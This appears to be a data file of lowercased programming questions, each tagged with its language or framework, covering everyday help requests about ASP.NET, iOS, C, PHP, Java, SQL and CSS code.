hiddenfield lost on postback in asp.net  we have an asp.net web page with a hidden control on it:   <pre><code>&lt;asp:hiddenfield runat= server  id= inputvalue  /&gt; </code></pre>   which holds information entered by a user for use later. the page also has this in the head section of the web page to refresh the page every 20 seconds:   <pre><code>&lt;meta http-equiv= refresh  content= 20 &gt;  </code></pre>   this is done to refresh the page with new information from a database.    now if i use in my code behind the inputvalue.value i can correctly get the value entered by a person. however if the page refreshes before i need to get this value then inputvalue.value will be empty.     so my question is how can i make sure that inputvalue.value will have the informaton saved to it after the page refreshes  javascript is out of the question as some of the devices accessing this page can not run javascript.    thanks,asp.net
load uitableview with images   i am so lost in this  and have tried everything  now i am having images from the assetslibrary  and i want to display them in a matrix on a uitableview  <strong>progrematiclly</strong>  and i dont know how to start.    i would be happy to get a direction on how to link my uiimages to a tableview( i need code..) and create him in a matrix . please  give me any direction ..    this is how i get the images from the assetslibrary :   <pre><code>//------ get the images from the camera roll ----------     nsmutablearray *camerarollpictures=[[nsmutablearray alloc]init];     alassetslibrary *assetslibrary = [[alassetslibrary alloc] init];     [assetslibrary enumerategroupswithtypes:alassetsgroupsavedphotos usingblock:^(alassetsgroup *group  bool *stop)     {         nsinteger numberofassets = [group numberofassets];         if (numberofassets &gt; 0)         {             nslog(@ numberofpictures: %d  numberofassets);             //nsinteger lastindex = numberofassets - 1;             int i = 0;             for (i = 0; i &lt;= numberofassets-1; i++)             {                 [group enumerateassetsatindexes:[nsindexset indexsetwithindex:i] options:0 usingblock:^(alasset *result  nsuinteger index  bool *stop)                  {                     uiimage *thumbnail = [uiimage imagewithcgimage:[result thumbnail]];                     //nslog(@ theobject!!!! -- (%d) %@  i thumbnail);                     [camerarollpictures addobject:thumbnail];                 }];             }         }      }       failureblock:^(nserror *error)     {         nslog(@ error: %@   error);     }]; </code></pre>   edit:    any idea why i get in the for loop every image twice   it logs each index 2 times ..,objective-c
how to set auto date increment format in sql to dd/mm/yyyy   by default the auto increment function sets any date to yyyy/mm/dd. how can i change that column to set the auto increment to dd/mm/yyyy     this is not a select convert() question  im not asking how to select a column but change the auto increment format.,sql
set variable in calling object from object being called  in java  how do you set variables in a calling object from the object that is being called   i guess i could set up some kind of struct class  but can someone show me if there is a simpler way to do it  such as some modification of the pseudocode below:     <pre><code>public class example(){     int thisint;   int thatint;    public static void main(string[] args){       another myanother = new another();   }   setthisint(int input){thisint=input;}   setthatint(int input2){thatint=input2;} }  public class another(){     void somefunc(){     this.example.setthisint(5);//i know this syntax is wrong     this.example.setthatint(2);//i know this syntax is wrong   } } </code></pre>,java
how about start a new long time thread in asp.net webforms   we have a rank list method  which takes 5 miniustes to complete.    we cache the list in memcache   but when the cache expires  it will blocks all the request.    so i want to cache both the list and cache time in memcache together  and set a long expire time.    every time gets the list from memcache  the programme also checks the cache time  if it over 1 hours  the programme starts a new thread which regenerates the rank list  programme returns the old list immediately     so  there is no block in the programme.    the problem is   is it correct starting a new tread in asp.net   if the new thread be killed when the aspx thread response end     and how to resolve the spread cache lock     we use 3 iis servers,asp.net
nslocale preferredlanguages is retrieving always  en  language  i m trying to get the correct language in my device (is not in the simulator) with the following code:    <pre><code> nsstring * languagelocale = [[nslocale preferredlanguages] objectatindex:0]; </code></pre>   and it is always <strong> en </strong>  but my current language is set to <strong>spanish</strong>     any thoughts why is retrieving always  en  and not the current device language,ios
substitute shorter element name for span   wondering if i can substitute different html element tag names and get the original behavior     for example  could i represent <code>&lt;span/&gt;</code> elements as <code>&lt;s/&gt;</code> and get the same behavior and affordances of <code>&lt;span/&gt;</code>   i am imagining some sort of xslt-esque javascript mapping.  not even sure this is a good idea.  i am open to being told this is a bad idea.    why   i have a big bucket of span tags and would like to reduce my page sizes.,html
php - dying with   >   so i have a strange and quite ambiguous question  which i can t seem to find even a vague answer to anywhere on the internet.    i ve written a bunch of classes which facilitate a checkout process. the entire process works perfectly fine on my development server  but when i upload it to my client s server the code dies about halfway through (i can tell because i know which actions were and were not performed).    <strong>debugging the code on my development server yields no warnings or errors (and rightly so  since it works locally).</strong>    when running the website on the remote server  the code dies with   >  as the only output. there s just way too much code to post in here  and i can t narrow it down to a specific line or even file  since i don t get any error output (and as i mentioned above  debugging it is of no use because it runs fine in the location for which i have access to a debugger).    <strong>so tldr; my question is: is there any generic reason for why this  > might be echoed to the page  the nature of this text suggests that it s terminating and for some reason printing the php ending terminator tag </strong>    i have no clue. i understand that this problem is very hard to diagnose with what i ve given you (and it s all i have to go on  as well) but even the slightest idea or suggestion would be infinitely helpful.    thanks!,php
a vice-versa function to strip_tags    what if i want to strip only div tags   is there a vice-versa function to strip_tags  so i can write only tags which i want to be stripted,php
converting an integer to datetime and comparing the date in c#  i am having an issue in parsing two integers to datetime in c#. i have two integers as follows:    <pre><code>int day = 25; int month = 08;  var currentyear = datetime.now.year;  var scheduleddate =  25/08/2018 ; </code></pre>   what i want is to convert <code>day  month and the current year</code> to format <code>dd/mm/yyyy</code> and compare this date to scheduleddate which is in the format of <code>dd/mm/yyyy</code>. can someone please help me with this,c#
c - warning: format ‘%s’ expects type ‘char *’  but argument 2 has type ‘char (*)[20]’  i am trying to run a simple c program but am getting this error:   warning: format ‘%s’ expects type ‘char <em>’  but argument 2 has type ‘char (</em>)[20]’     running mac osx mountain lion  compiling in terminal using gcc 4.2.1   <pre><code>#include &lt;stdio.h&gt;  int main()  {     char me[20];      printf( what is your name  );     scanf( %s  &amp;me);     printf( darn glad to meet you  %s!\n  me);      return(0); } </code></pre>,c
breaking out of a javascript for statement from within an if statement  this is what i want to do: cycle through a complex data structure and if one of the elements meets some condition  return it.  but i don t think it s possible to return from within an  if  that s within my for loop.  what s the best practice   thanks.   <pre><code>function findit(x) {     for (i in somedataarray) {         v = somedataarray[i];         if (*v meets some condition*) {             return v;         }     } } </code></pre>,javascript
how to insert a value/update the existing value with a new value for a single column in rails 4  i have a customers table in my rails application  with columns to store the customer details. once the customer login/signup the basic details of that customer will be saved into this table columns.  in the customer table there is a <strong>purchase_id</strong> column which is blank by default. when a customer purchase something from my site  a purchase_id will be created as <strong>@order.purchase_id</strong>. so once the purchase is done  i want to update the customer table with this  @order.purchase_id like something the following:   <pre><code>@customer.purchase_id = @order.purchase_id </code></pre>   how to do this in my customers controller   i want to save/update the customer table to store the purchase_id permanently in my table.,ruby-on-rails
checking for when a double is a zero  i have a quick question. its rather simple but i am very confused. i am creating a timer in c using the terminal. i am using sigalrm to send signals that subtracts the value of subtract_const. i am assuming that there are 25 ticks_per_second or 1/25 which is 0.0400 my subtract constant. i have installed the signal handler and the timer to go off every 40000us set in the itimer struct. however  in one of my functions i cannot  catch  when the time becomes zero . when this tick_per_second value is 32 or 16 it works as expected. my comparison does not seem to catch these different tick times. my time variable that is holding this value that s being subtracted from is a double.   <pre><code>  if(time == 0) //my very simple comparison </code></pre>,c
ios cllocation - getting the location on viewdidload  this is probably going to be something simple i m missing  but i have the location services set up as so (shortened for clarity):   <pre><code>- (void)viewdidload {     self.locationmanager = [[[cllocationmanager alloc] init] autorelease];     self.locationmanager.delegate = self;     [self.locationmanager startupdatinglocation]; }  - (void)locationmanager:(cllocationmanager *)manager didupdatetolocation:(cllocation *)newlocation fromlocation:(cllocation *)oldlocation {     nslog(@ %@  newlocation.coordinate.latitude);     nslog(@ %@  newlocation.coordinate.longitude); } </code></pre>   which works fine and gives me a stream of location data to the log.    but what i want is to be able to get the current location immediately in the viewdidload  as i only need it once  not a constant update - it s only to pinpoint a  nearest  amenity so i can report back to the user.  i ve tried adding:   <pre><code>self.locationlat = [self.locationmanager location].coordinate.latitude; self.locationlng = [self.locationmanager location].coordinate.longitude; </code></pre>   to the viewdidload immediately after startupdatinglocation  but they always come out as null.  is there something else i have to call to get that data once it s running      thanks,ios
how to prevent a draggable div from overlapping another in native javascript  i want to restrict a draggable div from overlapping another div. how do i do this wth native javascript  no jquery/ui. any tutorials/examples,javascript
syntax errors when trying to insert into database  iwant to insert into a database  but i get this error that says   syntax error near the keyword  table . please note that the keyword table is the name of the table where i want to onsert the data.. whats wrong with my code can anyone help...   <pre><code>     public form1()     {         initializecomponent();     }      private void button2_click(object sender  eventargs e)     {         try         {             byte[] imagedata = readfile(textbox8.text);             da.insertcommand = new sqlcommand( insert into table values(@nationalid @firstname @middlename @lastname @dateofbirth @gender @address @hometown @stateoforigin @maritalstatus @jobstatus @imagepath @image)   cn);             da.insertcommand.parameters.add( nationalid   sqldbtype.varchar).value = textbox1.text;             da.insertcommand.parameters.add( firstname   sqldbtype.varchar).value = textbox2.text;             da.insertcommand.parameters.add( middlename   sqldbtype.varchar).value = textbox3.text;             da.insertcommand.parameters.add( lastname   sqldbtype.varchar).value = textbox4.text;             da.insertcommand.parameters.add( dateofbirth   sqldbtype.varchar).value = datetimepicker1.value;             da.insertcommand.parameters.add( gender   sqldbtype.varchar).value = combobox4.text;             da.insertcommand.parameters.add( address   sqldbtype.varchar).value = textbox5.text;             da.insertcommand.parameters.add( hometown   sqldbtype.varchar).value = textbox6.text;             da.insertcommand.parameters.add( stateoforigin   sqldbtype.varchar).value = combobox1.text;             da.insertcommand.parameters.add( maritalstatus   sqldbtype.varchar).value = combobox2.text;             da.insertcommand.parameters.add( jobstatus   sqldbtype.varchar).value = combobox3.text;             da.insertcommand.parameters.add( imagepath   sqldbtype.varchar).value = textbox8.text;             da.insertcommand.parameters.add(new sqlparameter( @image   (object)imagedata));             //da.insertcommand.parameters.add( @image   sqldbtype.image).value = picturebox1.image;             cn.open();             da.insertcommand.executenonquery();             cn.close(); </code></pre>,.net
allocating memory to struct pointer inside array of structure  how can i allocate memory to the struct ptr employee *det; (for size 5) inside the array of struct details    <pre><code>#include &lt;stdio.h&gt;  #define company    2 #define max        5  typedef struct {     char *name;     char *addr;     int age; }employee;  struct {      employee *det; } details[company];  int main() {     int i;       for (i=0; i&lt;2; i++)         details[i].det = malloc(max*sizeof(employee *));   return 0; } </code></pre>   i tried the following but it failed with error:expected expression before  details    <pre><code>for (i=0; i&lt;2; i++)     details[i].det = malloc(max*sizeof(employee *)); </code></pre>,c
retrieving order details using id  the shopping cart app i m building using rails 4.1 has an order_type model with the schema:   <pre><code>create_table  order_types   force: true do |t|     t.string    order_name      t.integer   max_limit  </code></pre>   this belongs to the orders model. users can pick the order type from the new order page and i use collection select to display this. the order_type_id is saved to each order that s created. the order controller.rb:   <pre><code>class orderscontroller &lt; applicationcontroller     def new         @order = order.new         @item = @order.items.build     end      def index         @orders = order.all     end      def show         @order = order.find(params[:id])             @items = item.where(:order_id =&gt; @order.id)     end      def create         @order = current_user.orders.new(order_params)         respond_to do |format|             if @order.save                 ordermailer.order_submission(@order).deliver                 format.html { redirect_to @order  notice:  order submitted.  }                 format.json { render :show  status: :created  location: @order }             else                 format.html { render :new }                 format.json { render json: @order.errors  status: :unprocessable_entity }             end         end     end </code></pre>   here s the collecton select used in the form:   <pre><code>&lt;div class= form-group &gt;                 &lt;%= f.label :order_type_id %&gt;&lt;br&gt;                 &lt;%= f.collection_select(:order_type_id  ordertype.all  :id  :order_name  prompt: true  class:  form-control )  %&gt;             &lt;/div&gt; </code></pre>   i would like to retrieve and display the order type details based on the order_type_id that s stored. how do i do this,ruby-on-rails
what is the meaning of `a vec*[5] = new b*[5]`  <a href= https://stackoverflow.com/questions/16589430/array-memory-allocation-doesnt-work >array memory allocation doesn t work</a>    i saw the following code and found that it doesn t compile. is the code in the op correct     thank you   <pre><code>class a { };  class b : public a {   int num; };  int main() {   /* original post      error: expected initializer before ‘*’ token      a vec*[5] = new b*[5];    a vec*[5] = new b*[5];         // &lt;&lt;&lt; i don t understand this line   for(int i = 0; i &lt; 5; i++)   {       vec[i] = new b();   }    */    // my modified version   a* vec[5];   for(int i = 0; i &lt; 5; i++)   {       vec[i] = new b();   }      return 0; } </code></pre>,c++
troubleshooting program in python. how to link qs   i am here to ask another question about the code i am working on. i keep getting invalid syntax error. i asked a similar question on another account and someone answered the question and gave me a code. i edited it but i cannot seem to work it out. my project is to make a troubleshooting program for a mobile company. at the moment this is my code:    <strong>code:</strong>   <pre><code>print( please answer  yes  or  no  to all questions. if you write something  else instead of yes or no then your solution might not come out correctly. ) solution =  keep holding the power on button until the screen is on. if it  doesn t turn on  contact your phone provider to get a replacement.  solution2 =  charge your phone fully and switch it on.  solution3 =  delete some apps  you need a minimum of at least 5 gb of free  memory to run the phone correcly.\nyou are probably out of memory.  sol4 =  take out everything from the phone and put it in a bag of rice for  24-36 hours to let the rice absorb the water.  sol5 =  reset your phone.  sol6 =  you need a screen replacement. get it fixed!  sol7 =  you need to get your buttons replaced!  sol8 =  get a screen replacement or contact your phone provider to get a  phone replacement.  sol9 =  you need to update your phone software and apps.  sol10 =  you dont need to do anything. your phone doesnt have any problems.  sol11 =  please update your phone software.     if input( did you buy your phone recently   ) ==  yes : if input( did your drop your phone   ) ==  yes :     if input( did it become wet when you dropped it   ) ==  yes :         print(sol4)          else:           print(sol5) else:   if input( has your phone ever been to slow   ) ==  yes :     print(sol5) else:       if input( have you got more than 30 apps    ) ==  yes :         print(solution3)         else:          if input( is your phone older than two years  ) ==  yes :             print(no_warranty)         else:               print(warranty)     else:          print(warranty) </code></pre>   <strong>so my question is  how can i complete this code and how can i link questions to more questions </strong>   thanks!,python
in objective-c  why can t an object s instance variables or properties have default values   in objective-c  why can t we use   <pre><code>@interface animal : nsobject {     int state = animalstatealive;   // a constant which is 1 to indicate alive     int x = 0;     int y = 0; }  @properties int energylevel = 100; </code></pre>   and the compiler can fill in those values right after the <code>alloc</code> has happened,objective-c
css layout with 2 columns  taking up all width of browser  where left column can collapse  i want to have a 2 column layout  and have the left column able to be 200 px at first  and have a  shrink  button to shrink it down to 10px  and have the right column expand to fill all the rest of the available space.  then if they click on the  show  button (which will be all they see in the now 10px wide left column) have the left grow back to 200px and have the right column shrink by that amount.    i can t figure out how to make the right column grown and shrink without knowing the exact width of the window.    i hope this makes sense  and i really hope someone can point me in the right direction.    browser requirements are ie8  ff3.6  safari  and chrome  so in theory i can use some advanced css techniques.  at least i don t have to support ie6.,css
how to call .js after page is loaded  i need to call customformelements.js js function after aspx page is loaded  after submit button is clicked. can i do this and if yes how     window.onload option is not good...    i need to call this file after i press submit button becouse aspx ajax library clear my js file logic and i need to reload it again.,c#
how can i handle a browser refresh in an angularjs spa application   my angularjs application uses    <ul> <li>ui-router</li> <li>an index.html file</li> <li>all calls for login and data go to an asp.net web controller with a url that starts with /api/xxx.  </li> </ul>   when a user enters myapp.com then the server index.html which is what i want. when the user now selects links on that page then ui-router shows the appropriate templates inside the index.html and the browser url bar correctly displays addresses like these:   <pre><code>myapp.com/home myapp.com/home/overview myapp.com/city myapp.com/city/london </code></pre>   note that my configuration is set up like this:   <pre><code>.config([      $httpprovider    $locationprovider    $sceprovider    $stateprovider       function (         $httpprovider  $locationprovider  $sceprovider  $stateprovider) {         $sceprovider.enabled(false);         $locationprovider.html5mode(true); </code></pre>   if a user now clicks on refresh then the browser forgets that it was on index.html and tries to find the web page: myapp.com/city/london etc which of course does not exist. it then shows an error page saying the page does not exist.     how can i handle this situation  i would like a user clicking on myapp.com/city to refresh and ideally go back to myapp.com/city,angularjs
c++ overridden virtual function not getting called  i have the following setup:    main.cpp:   <pre><code>int main() {     vector &lt;tour&gt; tourlist;     tour* tour_ptr;      for (unsigned int i = 0; i &lt; tourlist.size(); i++)     {         tour_ptr = &amp;tourlist[i];         tour_ptr-&gt;display();     } } </code></pre>   tour.h:   <pre><code>class tour {    public:     virtual void display(); }; </code></pre>   tour.cpp:   <pre><code>void tour::display() {     cout &lt;&lt;  tour id:   &lt;&lt; getid() &lt;&lt;  \n ;     cout &lt;&lt;  description:   &lt;&lt; getdescription() &lt;&lt;  \n ;     cout &lt;&lt;  tour fee: $  &lt;&lt; getfee() &lt;&lt;  \n ;     cout &lt;&lt;  total bookings:   &lt;&lt; getbookings() &lt;&lt;  \n\n ; } </code></pre>   guidedtour.h:   <pre><code>class guidedtour : public tour {     public:             void display(); }; </code></pre>   guidedtour.cpp:   <pre><code>void guidedtour::display() {     tour::display();     cout &lt;&lt;  max tour group size:   &lt;&lt; getmaxtourists() &lt;&lt;  \n ;     cout &lt;&lt;  tour guide:   &lt;&lt; getguidename() &lt;&lt;  \n ;     cout &lt;&lt;  tour date:   &lt;&lt; gettourdate() &lt;&lt;  \n\n ; } </code></pre>   guidedtour inherits from the tour class  and i ve specified the display() function as virtual in the base tour class  but for some reason  the guidedtour display() function never gets called  only the base function gets called every time. what am i doing wrong,c++
string concatenation - ios  as you see in the below image  i am asking user to choose which activities they do in their daily routines.    i would like to get this information in a way as a string and send it to my database.    i have come up a scenario to identify :     walking :1   biking :2   hiking :3   soccer :4   others: 5   none :0    each image as shown on the left side of description is a button(ibaction) with iboutlet.    for example if user chooses  walking  hiking and soccer only  my string will be  134     how could i able to achieve    <pre><code>- (ibaction)walkingbtnaction:(id)sender {     counter1++;     if(counter1%2==0)     {         [walkingbtnoutlet setbackgroundimage:buttonimage1 forstate:uicontrolstatenormal];     }      if(counter1%2==1)     {         [walkingbtnoutlet setbackgroundimage:buttonimage2 forstate:uicontrolstatenormal];     }      //[self.view addsubview:mybutton]; }  - (ibaction)bikingbtnaction:(id)sender {     counter2++;     if(counter2%2==0)     {         [bikingbtnoutlet setbackgroundimage:buttonimage1 forstate:uicontrolstatenormal];     }      if(counter2%2==1)     {          [bikingbtnoutlet setbackgroundimage:buttonimage2 forstate:uicontrolstatenormal];     }  }  - (ibaction)hikingbtnaction:(id)sender {     counter3++;      if(counter3%2==0)     {         [hikingbtnoutlet setbackgroundimage:buttonimage1 forstate:uicontrolstatenormal];     }      if(counter3%2==1)     {         [hikingbtnoutlet setbackgroundimage:buttonimage2 forstate:uicontrolstatenormal];     } }  - (ibaction)soccerbtnaction:(id)sender {     counter4++;      if(counter4%2==0)     {         [soccerbtnoutlet setbackgroundimage:buttonimage1 forstate:uicontrolstatenormal];     }     if(counter4%2==1)     {         [soccerbtnoutlet setbackgroundimage:buttonimage2 forstate:uicontrolstatenormal];     } }  - (ibaction)othersbtnaction:(id)sender {     counter5++;     if(counter5%2==0)     {         [othersbtnoutlet setbackgroundimage:buttonimage1 forstate:uicontrolstatenormal];     }     if(counter5%2==1)     {         [othersbtnoutlet setbackgroundimage:buttonimage2 forstate:uicontrolstatenormal];     }  }  - (ibaction)nonebtnactions:(id)sender {     counter6++;     if(counter6%2==0)     {         [nonebtnoutlet setbackgroundimage:buttonimage1 forstate:uicontrolstatenormal];     }     if(counter6%2==1)     {         [nonebtnoutlet setbackgroundimage:buttonimage2 forstate:uicontrolstatenormal];     }  } </code></pre>   <img src= https://i.stack.imgur.com/ffyxx.png  alt= enter image description here >,ios
responsive thumbnail carousel  i have a jsfiddle here - <a href= http://jsfiddle.net/zrhfu/1/  rel= nofollow >http://jsfiddle.net/zrhfu/1/</a>    demo here - <a href= http://www.ttmt.org.uk/forum/thumb_test/  rel= nofollow >http://www.ttmt.org.uk/forum/thumb_test/</a>    i m trying to create a responsive thumbnail carousel - i ve seen plugins to do this  but they all need images the same size  i need something with images in different sizes.    it s very basic - list of images floated left  overflow: hidden on container.    i have left/right buttons  when the button is clicked i m trying to move the ul with the images left/right.    only the right button is connected.    my problem is it only works once.    if you click the right button  the images move left  click it a second time and nothing happens.    why does it work only once.   <pre><code>    &lt;!doctype html&gt;     &lt;html&gt;       &lt;meta charset= utf-8 &gt;       &lt;title&gt;title of the document&lt;/title&gt;       &lt;meta name= description  content=  &gt;       &lt;meta name= keywords  content=  &gt;       &lt;meta name= robots  content=  &gt;        &lt;meta name= viewport  content= width=device-width  initial-scale=1  maximum-scale=1  /&gt;        &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js &gt;&lt;/script&gt;        &lt;link rel= stylesheet  href= css/master.css  /&gt;        &lt;/head&gt;      &lt;body&gt;           &lt;a class= arrow left &gt;&amp;larr;&lt;/a&gt;          &lt;div class= thumbs &gt;            &lt;ul&gt;              &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/01.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/02.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/03.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/04.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/05.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/06.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/07.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/08.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/09.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/10.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/11.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/12.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/13.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/14.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;&lt;img alt=   src= images/15.jpg  /&gt;&lt;/a&gt;&lt;/li&gt;            &lt;/ul&gt;         &lt;/div&gt;          &lt;a class= arrow right &gt;&amp;rarr;&lt;/a&gt;           &lt;script src= js/hel.js &gt;&lt;/script&gt;      &lt;/body&gt;      &lt;/html&gt; </code></pre>,jquery
checking against a table before query   in the following query  how could i do a sub query to find all categories in <code>exp_categories</code> that have a <code>parent_id</code> and all categories that are a parent  but don t have any children  then use this instead of the <code>and c.parent_id !=  0 </code>    <pre><code>select c.cat_url_title from exp_channel_titles as t left join exp_category_posts as cp on cp.entry_id = t.entry_id left join exp_categories as c on cp.cat_id = c.cat_id where t.url_title =  hummingbird  and c.parent_id !=  0  and c.cat_url_title !=  latest-work  and c.cat_url_title !=  best-selling-images   limit 1 </code></pre>,sql
how to encode the  &  special character in any url..   how to encode the  &amp;  special character in any url..,iphone
warning message related to nsfilemanager <pre><code>nsstring *newpath = [[thefilename stringbydeletinglastpathcomponent] stringbyappendingpathcomponent:str];     [[nsfilemanager defaultmanager] movepath:mystring1 topath:newpath handler:nil]; </code></pre>   warning message : <strong>nsfilemanager may not respond to  -movepath:topath:handdler </strong>    what is that,iphone
.net: net 2.0 sp1 versus net 2.0 sp2   i am using vs2005 which seems to be shipped with .net 2.0 sp2.  if i distribute my app with .net 2.0 sp1  will there be a problem,.net
discountine function if varible becomes not null  is there a way to have php discontinue execution of a class if my error variable (not a php error but a error set when input is invalid) is ever set without constantly checking the error variable  like a passive listener  my script has many places a error could occur. something like this:   <pre><code>if(empty($this-&gt;error)) $this-&gt;error= function1(); if(empty($this-&gt;error)) $this-&gt;error= function2(); if(empty($this-&gt;error)) $this-&gt;error= function3(); </code></pre>   $this->error is always returned a null value unless a error occurs. if it is ever not null i want exit the rest of the function with out having to put if(empty($this->error)) in front of everything.    edit: farther explanation: i suppose i want something that automatically checks if $this->error is empty after every line of code  without me telling it to  then exits the function if it s not empty  like a break in a loop.    the suggested posts do not solve my problem as they still require the condition be manually checked. i want something like this:   <pre><code>stays_empty($this-&gt;error) {     $this-&gt;error= function1();     //php checks if $this-&gt;error is still empty. continue if it is  break if it s not.     $this-&gt;error= function2();     //php checks if $this-&gt;error is still empty. continue if it is  break if it s not.     $this-&gt;error= function3();     //php checks if $this-&gt;error is still empty. continue if it is  break if it s not. } </code></pre>,php
how to retrieve values from an object and store them in a $scope   after some help earlier with an array i m trying to retrieve <code>monthlyincome</code>  <code>savepercent</code> and years values and store them in <code>$scope.monthlyincome</code>  <code>$scope.savepercent</code> and <code>$scope.years</code>.    where am i going wrong    <pre><code>$scope.data2 = {          $id : 4157e8b1-efa2-4feb-bf75-e907c0e200e0            $priority :null           date :1457178818625           email : a@b.com            firstname : test            lastname : isaacs            monthly :328947           monthlyincome :1200           reguser : 4157e8b1-efa2-4feb-bf75-e907c0e200e0            savepercent :10           years :40     };   //for each object in data array     angular.foreach(data2  function(value  key) {       // check if value id is equals to  monthlyincome  or  savepercent  or  years        if (value ==  monthlyincome  ||           value ==  savepercent  ||            value ==  years ) {         // add it s value with the same key (e.g. $scope.monthlyincome)         $scope.[value] = key;       }     }); </code></pre>   any help greatly appreciated :),angularjs
passing a query to a string without the first char  i have this code that is suppose to receive <code>args</code> (query string) and copy it to a string <code>nome</code> without the first char (_) as to send it to another function. i know that both <code>if</code>s work but it seems to break at the <code>for</code> and i do not know why.   <pre><code>estado ler_estado(char *args) {     char nome[strlen(args)-1];     int i;      if(strlen(args) == 0)         return inicializar();      if(args[0] == _ ){          for(i=strlen(args); i !=1; i--){             nome[i]=args[i];         }          return lerficheiro(nome);     }       return str2estado(args); } </code></pre>,c
css pseudo after underline with floats  i have an underline for headings created with pseudo :after elements  when this heading is displayed to the right of a floated image/div  the underline is shifted over the image/div.    <pre><code>h2:after {    content:   ;   position: relative;   max-width: 100px;   display: block;   height: 4px;   background: #0073ae; } </code></pre>   here s a short codepen explaining it: <a href= http://codepen.io/costelc/pen/gqgdvb  rel= nofollow >http://codepen.io/costelc/pen/gqgdvb</a>    any idea is appreciated. thanks,css
animately increase the width of uicell  i am developing an application for iphone .i need to animately increase the width of a tableview cell when the user clicks on it and add a textfield into it .please any one help me     thanks in advance.....,iphone
passing int to a function which accepts int64 as input parameter  i have a function that accepts pointer to int64 and prints the value. now if i pass an integer from the calling function  it gives the original value plus gives extra 4 bytes as it is an int64 and am passing integer. how do i take care of this so that if i pass an integer to the function which accepts int64  still an integer value gets printed.   <pre><code>void foo(int64_t * temp) // just mentioning a simplified function {     printf( %llx\n  *temp);  } </code></pre>   if i try to pass an integer with value  0x12345678  then the value that foo function prints out is  xxxxxxxx12345678  where xxx are garbage values.    update: i can do this by using a temp int64 variable/pointer and pass it but i don t or rather can t do that  is there any other way,c
need to allow for variable model names in my app using ror  the app returns the number of records based on a variable name in my route. so if i have a  person  model and a  car  model (or any number of other ones)  i want to be able to assign any of these to a variable and get results from it.     i ve tried:   <pre><code>@model = params[:model] @model.find(:all).count  </code></pre>   and i get the error:   <pre class= lang-none prettyprint-override ><code>undefined method `find  for  person :string </code></pre>   thanks for any help!,ruby-on-rails
implement sudoku puzzel 9x9 by graph  i have a sudoku puzzel 9x9 in a text file and i wondering how can we create a graph from sudoku puzzel.sudoku puzzel is a int[][] example puzzel   <pre><code>0 0 0 0 9 8 0 4 5  0 0 4 3 2 0 7 0 0  7 9 0 5 0 0 0 3 0  0 0 0 9 0 0 4 0 0  0 4 5 0 0 2 8 0 0  8 7 9 6 0 4 0 1 0  0 3 0 0 7 9 0 6 4  4 5 0 2 1 3 9 0 8  0 8 7 4 6 5 0 0 0  </code></pre>   and class graph   <pre><code>    class graph     {         private int v;          private linkedlist&lt;integer&gt; adj[];          graph(int v)         {             v = v;              adj = new linkedlist[v];             for (int i=0; i&lt;v; ++i)                 adj[i] = new linkedlist();           }          void addedge(int v int w)         {             adj[v].add(w);             adj[w].add(v);          }         public int getv()         {             return v;         }  public linkedlist&lt;integer&gt; getlistadj(int u)     {         return adj[u];     } </code></pre>   i write a function to read puzzel from a text file and implement it to graph   <pre><code>public boolean readgraph(string input_name  int result[])     {            return true;     } </code></pre>   but i stuck in this step.,java
file write permission in php and xml <pre><code>ob_start(); echo  &lt; .  xml version= 1.0   . &gt; ; echo  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; ; echo  &lt;root&gt; ; $hierarchy=$tree-&gt;getarray(); recursivebuild($hierarchy[0]); echo  &lt;/root&gt; ; file_put_contents( file.xml   ob_get_contents()); ob_end_clean();  file_put_contents( file.xml    w+  ob_get_contents()); </code></pre>   this is not working  its not updating the xml file automatically.,php
java output reply so slow  i m doing a exercise about a snail that climb a wall and i have to calculate  how manys days it would take to reach the top  i already did my algorithm and it give me the expected output but it takes so  long in a input case  basically what code have to do is given n m t   n=how manys meter he climb a day m= how manys meters he fall in the  night and t= what s the lenght of the wall this is my code any help will be useful  this is my code pd it already work but it s too slow    <pre><code>       int distance=0;         int[] up = { 2  5  100};        int[] down= { 1 1  99};        int[] top = {5 6  1000000000};        int days = 0;        for (int i = 0; i &lt; up.length; )        {            distance += up[i];            if (top[i] &lt;= distance)            {                days++;                system.out.println(days);                 i++;                days = 0;                distance = 0;             }            else            {                distance -= down[i];                days++;            }         }    </code></pre>   the output are the next : case 1: 4 case 2: 2 case 3 :999999901,java
